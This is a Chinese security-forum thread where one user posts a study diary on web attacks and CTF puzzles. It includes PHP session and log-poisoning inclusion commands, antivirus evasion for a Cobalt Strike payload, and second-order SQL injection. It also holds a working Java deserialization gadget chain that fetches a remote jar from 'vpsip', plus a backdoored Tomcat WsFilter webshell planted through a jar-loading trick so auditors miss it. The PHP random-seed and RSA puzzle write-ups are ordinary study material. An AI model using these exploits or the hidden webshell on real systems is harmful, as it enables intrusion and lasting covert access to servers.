安全矩阵

 找回密码
 立即注册
搜索
123
返回列表 发新帖
楼主: littlebird

邹政的凌晨学习日记

[复制链接]

7

主题

43

帖子

199

积分

注册会员

Rank: 2

积分
199
 楼主| 发表于 2021-10-31 00:59:59 | 显示全部楼层
今天完全是看文章学习的一天啊,虽然今天下午有点浪费时间了撒
开始正文,直接是php文件包含的bypass
原文在这里:PHP文件包含漏洞利用思路与Bypass总结手册(二)(有想法的去看这个更好)
首先是介绍了seesion文件包含属实是我没想过的,之前实战的时候直接弄到了phpinfo来着,居然没用上,下次试试
在了解session包含文件漏洞及绕过姿势的时候,我们应该首先了解一下服务器上针对用户会话session的存储与处理是什么过程,只有了解了其存储和使用机制我们才能够合理的去利用它得到我们想要的结果。
Session存储
这里利用的是phpinfo泄露的存储地址,实际上可以靠默认地址猜的
Java是将用户的session存入内存中,而PHP则是将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path。
可以通过phpinfo查看session.save_path的值

知道session的存储后,总结常见的php-session默认存放位置是很有必要的,因为在很多时候服务器都是按照默认设置来运行的,这个时候假如我们发现了一个没有安全措施的session包含漏洞就可以尝试利用默认的会话存放路径去包含利用。
列举一下默认路径
  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sessions/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID
复制代码

然后是命名格式,这个就需要知道了,否则还是猜大概猜不出的,所以特殊技巧很重要
如果某个服务器存在session包含漏洞,要想去成功的包含利用的话,首先必须要知道的是服务器是如何存放该文件的,只要知道了其命名格式我们才能够正确的去包含该文件。
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
https://pic2.zhimg.com/80/v2-d91 ... 2995490d05_720w.jpg
接下来就需要了解会话是怎样运作的,php中针对用户会话的处理方式主要取决于服务器在php.ini或代码中对session.serialize_handler的配置。
PHP中处理用户会话信息的主要是下面定义的两种方式
  1. session.serialize_handler = php           一直都在(默认方式)  它是用 |分割
  2. session.serialize_handler = php_serialize  php5.5之后启用 它是用serialize反序列化格式分割
复制代码

下面看一下针对PHP定义的不同方式对用户的session是如何处理的,我们只有知道了服务器是如何存储session信息的,才能够往session文件里面传入我们所精心制作的恶意代码。
session.serialize_handler=php
服务器在配置文件或代码里面没有对session进行配置的话,PHP默认的会话处理方式就是session.serialize_handler=php这种模式机制。
下面通过一个简单的用户会话过程了解session.serialize_handler=php是如何工作的。
直接写了个session.php,内容如下:
  1. <?php
  2.     session_start();
  3.     $username = $_POST['username'];
  4.     $_SESSION["username"] = $username;
  5. ?>
复制代码


从图中可以看到默认session.serialize_handler=php处理模式只对用户名的内容进行了序列化存储,没有对变量名进行序列化,可以看作是服务器对用户会话信息的半序列化存储过程。
session.serialize_handler=php_serialize
php5.5之后启用这种处理模式,它是用serialize反序列化格式进行存储用户的会话信息。一样的通过一个简单的用户会话过程了解session.serialize_handler=php_serialize是如何工作的。这种模式可以在php.ini或者代码中进行设置。
再次用事实验证
<?php
    ini_set('session.serialize_handler', 'php_serialize');  
    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;
?>
如图:

从图中可以看到session.serialize_handler=php_serialize处理模式,对整个session信息包括文件名、文件内容都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储过程。

对比上面session.serialize_handler的两种处理模式,可以看到他们在session处理上的差异,既然有差异我们就要合理的去利用这两种处理模式,假如编写代码不规范的时候处理session同时用了两种模式,那么在攻击者可以利用的情况下,很可能会造成session反序列化漏洞。
回复

使用道具 举报

7

主题

43

帖子

199

积分

注册会员

Rank: 2

积分
199
 楼主| 发表于 2021-11-1 00:02:48 | 显示全部楼层
延续昨天的session部分,昨天确实需要休息和理解一下
session利用其实是LFI,就是去包含我们构造的文件,例如Session会话文件、日志文件、临时文件等。
其中针对LFI Session文件的包含或许是现在见的比较多,简单的理解session文件包含漏洞就是在用户可以控制session文件中的一部分信息,然后将这部分信息变成我们的精心构造的恶意代码,之后去包含含有我们传入恶意代码的这个session文件就可以达到攻击效果
包含日志
利用条件:
1、需要知道服务器日志的存储路径

2、日志文件可读

利用姿势:

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。
默认情况下apache log的位置:
  1. Debian分支(Ubuntu等) /var/log/apache2/access.log

  2. Fedora分支(Centos等) /var/log/httpd/access_log
复制代码

如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
利用LFI:
  1. index.php?file=../../../../../var/log/apache2/access.log
复制代码

当日志文件没有Read权限时则会返回bool(false)
tips:在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。
SSH日志
利用条件:
  1. 1、需要知道ssh-log的位置

  2. 2、日志文件可读
复制代码

利用姿势:
默认情况下ssh log的位置:
  1. Debian分支(Ubuntu等) /var/log/auth.log

  2. Fedora分支(Centos等) /var/log/secure
复制代码

用ssh连接:
  1. → Qftm ← :~# ssh '<?php phpinfo(); ?>'@remotehost
复制代码

之后会提示输入密码等等,随便输入,然后在remotehost的ssh-log中即可写入php代码:

利用LFI:
  1. index.php?file=../../../../../var/log/auth.log
复制代码

回复

使用道具 举报

7

主题

43

帖子

199

积分

注册会员

Rank: 2

积分
199
 楼主| 发表于 2021-11-6 00:58:43 | 显示全部楼层
本帖最后由 littlebird 于 2021-11-6 00:59 编辑

今天学了一种免杀方法,还是很有用的
首先我们先生成一个初步的python免杀
即:url.py
这里展示的是我将要测试的靶机,当然是防火墙全开加火绒和360全家桶

这里先试试能不能上线和能不能免杀,这里我们发现火绒过不了,360可以防火墙没反应,当然也试了一下麦克非都可以过

这里就是试试能不能免杀,当然为了证明这个是真的木马,我们直接上线cs

然后我们利用pyinstaller进行打包
用到的命令是
pyinstaller -F --noconsole url.py
然后就得到了url.exe

但结果还是火绒技高一筹啊,我直接裂开
,直接还没检测就被隔离了,果然对exe敏感啊,下次打包成dll哼但是令人失望的是360和麦克非又失败了,当然失败很正常,之前没打包就失败了嘛,下次要直接加密打包了,必要过火绒好吧

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

43

帖子

199

积分

注册会员

Rank: 2

积分
199
 楼主| 发表于 2021-11-7 20:31:41 | 显示全部楼层
今天学的是关于sql的二次注入
原理:用户向数据库里存入恶意的数据,在数据被插入到数据库之前,肯定会对数据库进行转义处理,但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。
数据库还是对自己太过相信,认为数据库里的数据都是正常的,当从数据库里调用的时候没有经过过滤,这就造成了二次注入。
具体例子如下:
假如我们成功注册一个用户名为admin'#的账号,不通过sql注入进行查询,而是利用查询的漏洞重置admin的密码
如果php文件是用下面的代码进行的密码重置,我们就可以利用二次注入对admin的代码进行替换了
  1. $ sql = "UPDATE users SET PASSWORD='$ pass' where username='$ username' and password='$ curr_pass' ";
复制代码

这里我们看为什么发生了二次注入,直接看看我们登录之前注册的admin'#账号并进行密码修改会怎么样?这一句话就变成了
  1. $ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘#’ and password=’$ curr_pass’ ";
复制代码

进而,我们发现就剩下了前面的一部分,而之前也提到了,设计者在设计的时候过于相信数据库内部的数据,所以导致了二次注入的发生,我们的查询语句就只剩下了这一部分
  1. $ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘
复制代码

这不就是对admin进行密码修改了吗?
回复

使用道具 举报

7

主题

43

帖子

199

积分

注册会员

Rank: 2

积分
199
 楼主| 发表于 2021-11-11 00:18:15 | 显示全部楼层
鸽了好几天没写了,其实不是不想写,而是东西太复杂,一时间没太搞懂没得写
事情要从我继续开始刷ctf题说起,这次我遇到了一道较为复杂的题,名字叫做枯燥的抽奖,是2019年GWCTF的题
这里一开始映入眼帘的是

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

43

帖子

199

积分

注册会员

Rank: 2

积分
199
 楼主| 发表于 2021-11-11 01:01:21 | 显示全部楼层
然后我们打开开发者模式看看提示
果然有一个check.php
里面是这样的

这个一开始确实没有看出来能干什么,于是我开始了长时间的资料查询(实际上是我并不满足于只是知道怎么做这道题,而是想要自己解析破解甚至自己写出爆破脚本来,所以才花了这么长的时间)
这是一道php伪随机数题
我可以说是从来没有遇到过
好啦,开始解说这一道题:
首先我们知道这是伪随机而非真随机,那么就是有迹可循虽然比较难
那么规律在哪里呢,我们先写出一个php文件来测试一下生成的数据长什么样子
  1. <?php
  2. mt_srand(1234);
  3. echo mt_rand();
  4. ?>
复制代码


我们再多次生成试试,并多生成几个
  1. <?php
  2. mt_srand(1234);
  3. for($i=0;$i<10;$i++)
  4. echo mt_rand()."<br>";
  5. ?>
复制代码

事实证明,再次生成,或是刷新都是同一组数据,这就是伪随机吗?

但是这还不够,不足以让我们破解这个伪随机,虽然存在可预测性,但是我们并不知道seed,也就是种子未知
但是我们可以直接对php的源码进行分析,没想到我这么快也能对某种语言的底层源码进行分析了呢,话不多说上源码
  1. static inline void php_mt_initialize(uint32_t seed, uint32_t *state)
  2. {
  3.         /* Initialize generator state with seed
  4.            See Knuth TAOCP Vol 2, 3rd Ed, p.106 for multiplier.
  5.            In previous versions, most significant bits (MSBs) of the seed affect
  6.            only MSBs of the state array.  Modified 9 Jan 2002 by Makoto Matsumoto. */

  7.         register uint32_t *s = state;
  8.         register uint32_t *r = state;
  9.         register int i = 1;

  10.         *s++ = seed & 0xffffffffU;
  11.         for( ; i < N; ++i ) {
  12.                 *s++ = ( 1812433253U * ( *r ^ (*r >> 30) ) + i ) & 0xffffffffU;
  13.                 r++;
  14.         }
  15. }
复制代码

我们发现初始化的时候是有迹可循的
因为值是迭代成生的,所以我们需要做的第一件事是尝试根据i和state推测出state[i-1],然后我们就可以重复操作找出以前的值,直到state[0]。然后我们通过这个思路逆推进而可以得出seed,因为state[0]就是seed的补码
这意味着如果我们得到任何初始状态值,就可以计算出其他状态值以及seed。
然后这还没完,因为我也说了,这只是初始化,如果这么容易就出现破绽早就没人要了,下一步要解决的就是数组混淆,还是先上源码,这个是5.x,是7.x之前的,7.x版本有所改变而我正在研究的正是改变之后的部分,还没搞完,属实是难搞
  1. #define hiBit(u)  ((u) & 0x80000000U)  /* mask all but highest   bit of u */
  2. #define loBit(u)  ((u) & 0x00000001U)  /* mask all but lowestbit of u */
  3. #define loBits(u) ((u) & 0x7FFFFFFFU)  /* mask the highest   bit of u */
  4. #define mixBits(u, v) (hiBit(u)|loBits(v)) /* move hi bit of u to hi bit of v */

  5. #define twist(m,u,v)  (m ^ (mixBits(u,v)>>1) ^ ((php_uint32)(-(php_int32)(loBit(u))) & 0x9908b0dfU))

  6. static inline void php_mt_reload(TSRMLS_D)
  7. {
  8.     /* Generate N new values in state
  9.            Made clearer and faster by Matthew Bellew (matthew.bellew@home.com) */

  10.     register php_uint32 *state = BG(state);
  11.     register php_uint32 *p = state;
  12.     register int i;

  13.     for (i = N - M; i--; ++p)
  14.         *p = twist(p[M], p[0], p[1]);
  15.     for (i = M; --i; ++p)
  16.         *p = twist(p[M-N], p[0], p[1]);
  17.     *p = twist(p[M-N], p[0], state[0]);
  18.     BG(left) = N;
  19.     BG(next) = state;
  20. }
复制代码

实际上我们还是发现了推导关系
作为攻击者,如果知道了混淆后的S[0]和S[227],然后进行XOR操作,我们就会得到很多关于初始状态值s[228]的信息,以及部分关于s[227]的信息。如果我们用X表示S[227] ^ S[0],则:

    因为XOR表达式的左部分是右移的,所以它的MSB(最高有效位)总是空的。因为MSB(0x9908b0df)已经被设置好了,所以x的MSB只由右边掩码来决定。因此,MSB(X) = LSB(s[227]),如果X有掩码,我们可以把它去掉。(LSB为最低有效位)

    然后,BIT(s[227], 31) = BIT(X, 30)。

    其余值是来自s[228]的bit,来自30到1位。

综上所述,我们有:

    初始状态值s[227]的MSB和LSB

    初始状态值s[228]从30到1位的值

因此,我们有4个可能的s[228]。由于我们也知道s[227]的一些bit,所以我们可以从s[228]的四个可能值中计算出候选的s[227],并通过验证LSB和MSB得到真正的s[227]。此外,我们可以获得与候选s[228]相关联的seed,利用它来重新生成一个状态数组,并检查它是否和S[0]匹配。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

43

帖子

199

积分

注册会员

Rank: 2

积分
199
 楼主| 发表于 2021-11-17 00:08:11 | 显示全部楼层
java反序列化RCE回显研究
总结一下常见反序列化RCE回显几种方式如下:

    a).使用java.net.URLClassLoader类,远程加载自定义类(放在自己服务器上的jar包),可以自定义方法执行。
    b).在自定义类中,抛出异常,取得回显结果。
    eg:Jboss报错返回命令执行结果。
    利用defineClass加载byte[]返回Class对象,不用远程加载恶意类。
    直接利用RCE将执行的命令写入服务器文件中,再次访问得到执行命令结果。
1、URLClassLoader加载远程恶意类,抛出异常回显
  1. import java.io.BufferedReader;
  2. import java.io.InputStreamReader;
  3. import java.net.Socket;

  4. public class R
  5. {
  6.     public R(String commond) throws Exception {
  7.         reverseConn(commond);
  8.     }

  9.     public void reverseConn(String commond) throws Exception {

  10.             //执行命令
  11.             Process proc = Runtime.getRuntime().exec(commond);
  12.             BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
  13.             StringBuffer sb = new StringBuffer();
  14.             String line;
  15.             while ((line = br.readLine()) != null)
  16.             {
  17.                 sb.append(line).append("\n");
  18.             }
  19.             String result = sb.toString();
  20.             Exception e=new Exception(result);
  21.             throw e;
  22.     }
  23. }
复制代码

将恶意类打成jar包,把jar包放在服务器上。
  1. javac R.java //先编译成class文件
  2. jar -cvf R.jar R.class //打成jar包
复制代码

采用Commons-Collections5 gadgets触发反序列化报错回显,运行如下代码:
  1. package test;
  2. import java.io.*;
  3. import java.lang.annotation.Retention;
  4. import java.lang.reflect.Constructor;
  5. import java.lang.reflect.Field;
  6. import java.lang.reflect.InvocationHandler;
  7. import java.lang.reflect.Proxy;
  8. import java.util.HashMap;
  9. import java.util.Map;
  10. import org.apache.commons.collections.Transformer;
  11. import org.apache.commons.collections.functors.ChainedTransformer;
  12. import org.apache.commons.collections.functors.ConstantTransformer;
  13. import org.apache.commons.collections.functors.InvokerTransformer;
  14. import org.apache.commons.collections.map.LazyMap;
  15. public class Test{
  16.     public InvocationHandler getObject(final String command) throws Exception {
  17.         // inert chain for setup
  18.         final Transformer transformerChain = new ChainedTransformer(
  19.                 new Transformer[] { new ConstantTransformer(1) });
  20.         // real chain for after setup
  21.         final Transformer[] transformers = new Transformer[] {
  22.                 new ConstantTransformer(java.net.URLClassLoader.class),
  23.                 // getConstructor class.class classname
  24.                 new InvokerTransformer("getConstructor",
  25.                         new Class[] { Class[].class },
  26.                         new Object[] { new Class[] { java.net.URL[].class } }),

  27.                 new InvokerTransformer(
  28.                         "newInstance",
  29.                         new Class[] { Object[].class },
  30.                         new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
  31.                                 "http://vpsip/R.jar") } } }),
  32.                 // loadClass String.class R
  33.                 new InvokerTransformer("loadClass",
  34.                         new Class[] { String.class }, new Object[] { "R" }),
  35.                 // set the target reverse ip and port
  36.                 new InvokerTransformer("getConstructor",
  37.                         new Class[] { Class[].class },
  38.                         new Object[] { new Class[] { String.class } }),
  39.                 // invoke
  40.                 new InvokerTransformer("newInstance",
  41.                         new Class[] { Object[].class },
  42.                         new Object[] { new String[] { command } }),
  43.                 new ConstantTransformer(1) };
  44.         final Map innerMap = new HashMap();
  45.         final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  46.         //this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
  47.         InvocationHandler invo = (InvocationHandler) getFirstCtor(
  48.                 "sun.reflect.annotation.AnnotationInvocationHandler")
  49.                 .newInstance(Retention.class, lazyMap);
  50.         //generate object which implements specifiy interface
  51.         final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
  52.                 .getClass().getClassLoader(), new Class[] { Map.class }, invo));

  53.         final InvocationHandler handler = (InvocationHandler) getFirstCtor(
  54.                 "sun.reflect.annotation.AnnotationInvocationHandler")
  55.                 .newInstance(Retention.class, mapProxy);
  56.         setFieldValue(transformerChain, "iTransformers", transformers);
  57.         return handler;
  58.     }
  59.     public static Constructor<?> getFirstCtor(final String name)
  60.             throws Exception {
  61.         final Constructor<?> ctor = Class.forName(name)
  62.                 .getDeclaredConstructors()[0];
  63.         ctor.setAccessible(true);
  64.         return ctor;
  65.     }
  66.     public static Field getField(final Class<?> clazz, final String fieldName)
  67.             throws Exception {
  68.         Field field = clazz.getDeclaredField(fieldName);
  69.         if (field == null && clazz.getSuperclass() != null) {
  70.             field = getField(clazz.getSuperclass(), fieldName);
  71.         }
  72.         field.setAccessible(true);
  73.         return field;
  74.     }
  75.     public static void setFieldValue(final Object obj, final String fieldName,
  76.                                      final Object value) throws Exception {
  77.         final Field field = getField(obj.getClass(), fieldName);
  78.         field.set(obj, value);
  79.     }
  80.     public static void main(final String[] args) throws Exception {
  81.         final Object objBefore = Test.class.newInstance()
  82.                 .getObject("ipconfig");
  83.         //deserialize(serialize(objBefore));

  84.         File f = new File("E:\\payloadsfinal.bin");
  85.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
  86.         out.writeObject(objBefore);
  87.         out.flush();
  88.         out.close();

  89.         FileInputStream fis = new FileInputStream("E:\\payloadsfinal.bin");
  90.         ObjectInputStream ois = new ObjectInputStream(fis);
  91.         //恢复对象
  92.         ois.readObject();
  93.         ois.close();
  94.     }
  95. }
复制代码
回复

使用道具 举报

7

主题

43

帖子

199

积分

注册会员

Rank: 2

积分
199
 楼主| 发表于 6 天前 | 显示全部楼层
这波就更新一下我之前写的一个比赛的密码题wp吧,说实话后面的部分有点难搞的
题目源码如下:
  1. from Crypto.Util.number import *
  2. import gmpy2
  3. from secret import flag

  4. p = getPrime(512)
  5. q = getPrime(512)
  6. n = p**4*q

  7. e = 65537
  8. phi = gmpy2.lcm(p - 1, q - 1)
  9. d = gmpy2.invert(e, phi)
  10. dp = d % (p - 1)
  11. m = bytes_to_long(flag)
  12. c = pow(m, e, n)
  13. print ("dp = " + str(dp))
  14. print ("c = " + str(c))

  15. y = 449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839

  16. g = 2
  17. x = 2019*p**2 + 2020*p**3 + 2021*p**4
  18. c1 = pow(g, x, y)
  19. print( "c1 = " + str(c1))


  20. # dp = 379476973158146550831004952747643994439940435656483772269013081580532539640189020020958796514224150837680366977747272291881285391919167077726836326564473

  21. # c = 57248258945927387673579467348106118747034381190703777861409527336272914559699490353325906672956273559867941402281438670652710909532261303394045079629146156340801932254839021574139943933451924062888426726353230757284582863993227592703323133265180414382062132580526658205716218046366247653881764658891315592607194355733209493239611216193118424602510964102026998674323685134796018596817393268106583737153516632969041693280725297929277751136040546830230533898514659714717213371619853137272515967067008805521051613107141555788516894223654851277785393355178114230929014037436770678131148140398384394716456450269539065009396311996040422853740049508500540281488171285233445744799680022307180452210793913614131646875949698079917313572873073033804639877699884489290120302696697425

  22. # c1 = 78100131461872285613426244322737502147219485108799130975202429638042859488136933783498210914335741940761656137516033926418975363734194661031678516857040723532055448695928820624094400481464950181126638456234669814982411270985650209245687765595483738876975572521276963149542659187680075917322308512163904423297381635532771690434016589132876171283596320435623376283425228536157726781524870348614983116408815088257609788517986810622505961538812889953185684256469540369809863103948326444090715161351198229163190130903661874631020304481842715086104243998808382859633753938512915886223513449238733721777977175430329717970940440862059204518224126792822912141479260791232312544748301412636222498841676742208390622353022668320809201312724936862167350709823581870722831329406359010293121019764160016316259432749291142448874259446854582307626758650151607770478334719317941727680935243820313144829826081955539778570565232935463201135110049861204432285060029237229518297291679114165265808862862827211193711159152992427133176177796045981572758903474465179346029811563765283254777813433339892058322013228964103304946743888213068397672540863260883314665492088793554775674610994639537263588276076992907735153702002001005383321442974097626786699895993544581572457476437853778794888945238622869401634353220344790419326516836146140706852577748364903349138246106379954647002557091131475669295997196484548199507335421499556985949139162639560622973283109342746186994609598854386966520638338999059
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

43

帖子

199

积分

注册会员

Rank: 2

积分
199
 楼主| 发表于 6 天前 | 显示全部楼层
这里我也给出解密脚本,当然是一步一步的
这是解出x的脚本实际上是运用了python的一个特殊的函数,好厉害的样子
  1. import sympy

  2. y = 449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839
  3. c1 = 78100131461872285613426244322737502147219485108799130975202429638042859488136933783498210914335741940761656137516033926418975363734194661031678516857040723532055448695928820624094400481464950181126638456234669814982411270985650209245687765595483738876975572521276963149542659187680075917322308512163904423297381635532771690434016589132876171283596320435623376283425228536157726781524870348614983116408815088257609788517986810622505961538812889953185684256469540369809863103948326444090715161351198229163190130903661874631020304481842715086104243998808382859633753938512915886223513449238733721777977175430329717970940440862059204518224126792822912141479260791232312544748301412636222498841676742208390622353022668320809201312724936862167350709823581870722831329406359010293121019764160016316259432749291142448874259446854582307626758650151607770478334719317941727680935243820313144829826081955539778570565232935463201135110049861204432285060029237229518297291679114165265808862862827211193711159152992427133176177796045981572758903474465179346029811563765283254777813433339892058322013228964103304946743888213068397672540863260883314665492088793554775674610994639537263588276076992907735153702002001005383321442974097626786699895993544581572457476437853778794888945238622869401634353220344790419326516836146140706852577748364903349138246106379954647002557091131475669295997196484548199507335421499556985949139162639560622973283109342746186994609598854386966520638338999059

  4. x=sympy.discrete_log(y,c1,2)
  5. print(x)
复制代码

然后解出p就完事了
  1. p=12131601165788024635030034921084070470053842112984866821070395281728468805072716002494427632757418621194662541766157553264889658892783635499016425528807741
复制代码

解出flag的脚本如下

  1. from Crypto.Util.number import *

  2. p=12131601165788024635030034921084070470053842112984866821070395281728468805072716002494427632757418621194662541766157553264889658892783635499016425528807741
  3. dp = 379476973158146550831004952747643994439940435656483772269013081580532539640189020020958796514224150837680366977747272291881285391919167077726836326564473
  4. c=57248258945927387673579467348106118747034381190703777861409527336272914559699490353325906672956273559867941402281438670652710909532261303394045079629146156340801932254839021574139943933451924062888426726353230757284582863993227592703323133265180414382062132580526658205716218046366247653881764658891315592607194355733209493239611216193118424602510964102026998674323685134796018596817393268106583737153516632969041693280725297929277751136040546830230533898514659714717213371619853137272515967067008805521051613107141555788516894223654851277785393355178114230929014037436770678131148140398384394716456450269539065009396311996040422853740049508500540281488171285233445744799680022307180452210793913614131646875949698079917313572873073033804639877699884489290120302696697425
  5. print(long_to_bytes(pow(c,dp,p)))
复制代码
回复

使用道具 举报

7

主题

43

帖子

199

积分

注册会员

Rank: 2

积分
199
 楼主| 发表于 前天 00:00 | 显示全部楼层
看过一篇大佬的文章得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中

换句话来说,是否能将恶意代码注入到Tomcat默认存在的Filter中呢

使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter

能否构造出一个恶意的WsFilter类注入到依赖库中
在目标Tomcat/lib下找到tomcat-websocket.jar

找到WsFilter的代码,在doFilter中插入一些代码

我这里是简单的回显执行命令,也可以是一些其他逻辑
  1. package org.apache.tomcat.websocket.server;

  2. import java.io.IOException;

  3. import javax.servlet.Filter;
  4. import javax.servlet.FilterChain;
  5. import javax.servlet.FilterConfig;
  6. import javax.servlet.ServletException;
  7. import javax.servlet.ServletRequest;
  8. import javax.servlet.ServletResponse;
  9. import javax.servlet.http.HttpServletRequest;
  10. import javax.servlet.http.HttpServletResponse;

  11. /**
  12. * Handles the initial HTTP connection for WebSocket connections.
  13. */
  14. public class WsFilter implements Filter {

  15.     private WsServerContainer sc;


  16.     @Override
  17.     public void init(FilterConfig filterConfig) throws ServletException {
  18.         sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
  19.                 Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
  20.     }


  21.     @Override
  22.     public void doFilter(ServletRequest request, ServletResponse response,
  23.                          FilterChain chain) throws IOException, ServletException {
  24.         // 不改变原有逻辑,在这里插入代码
  25.         String cmd = request.getParameter("cmd");
  26.         if (cmd != null && !cmd.equals("")) {
  27.             Process process = Runtime.getRuntime().exec(cmd);
  28.             StringBuilder outStr = new StringBuilder();
  29.             response.getWriter().print("<pre>");
  30.             java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
  31.             java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
  32.             String s = null;
  33.             while ((s = stdInput.readLine()) != null) {
  34.                 outStr.append(s + "\n");
  35.             }
  36.             response.getWriter().print(outStr.toString());
  37.             response.getWriter().print("</pre>");
  38.         }

  39.         // This filter only needs to handle WebSocket upgrade requests
  40.         if (!sc.areEndpointsRegistered() ||
  41.                 !UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
  42.             chain.doFilter(request, response);
  43.             return;
  44.         }

  45.         // HTTP request with an upgrade header for WebSocket present
  46.         HttpServletRequest req = (HttpServletRequest) request;
  47.         HttpServletResponse resp = (HttpServletResponse) response;

  48.         // Check to see if this WebSocket implementation has a matching mapping
  49.         String path;
  50.         String pathInfo = req.getPathInfo();
  51.         if (pathInfo == null) {
  52.             path = req.getServletPath();
  53.         } else {
  54.             path = req.getServletPath() + pathInfo;
  55.         }
  56.         WsMappingResult mappingResult = sc.findMapping(path);

  57.         if (mappingResult == null) {
  58.             // No endpoint registered for the requested path. Let the
  59.             // application handle it (it might redirect or forward for example)
  60.             chain.doFilter(request, response);
  61.             return;
  62.         }

  63.         UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),
  64.                 mappingResult.getPathParams());
  65.     }


  66.     @Override
  67.     public void destroy() {
  68.         // NO-OP
  69.     }
  70. }
复制代码

编译WsFilter.java生成WsFilter.class字节码文件

然后使用手段把tomcat-websocket.jar里的WsFilter.class替换了

(压缩文件本身有替换功能,也可以使用工具重打包等)

这时候启动Tomcat发现一切正常,但已经存在了一个“永远”的Webshell
审计人员会想方设法审计项目代码本身,或者使用工具检查内存马是否存在

然而他们不会想到是Tomcat必须的WsFilter有问题
以上逻辑看似合理,实际上有很大的问题:

依赖库在Tomcat运行的时候被占用不可修改,所以要停下Tomcat服务,然后才能替换依赖库

如果思路一直放在如何修改被占用的依赖库,那么这个问题是无解的

但我发现了一种巧妙的方法,来自于Tomcat对Jar包的特殊加载顺序

(这里是Windows Tomcat 8的测试环境,其他环境不确定有这样的顺序)

如果我在Tomcat/lib下复制一个tomcat-websocket.jar

区别在于.jar之前加入一个空格:tomcat-websocket .jar

这时候启动Tomcat会发现自动加载了tomcat-websocket .jar而不是默认jar
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2021-11-28 23:11 , Processed in 0.031682 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表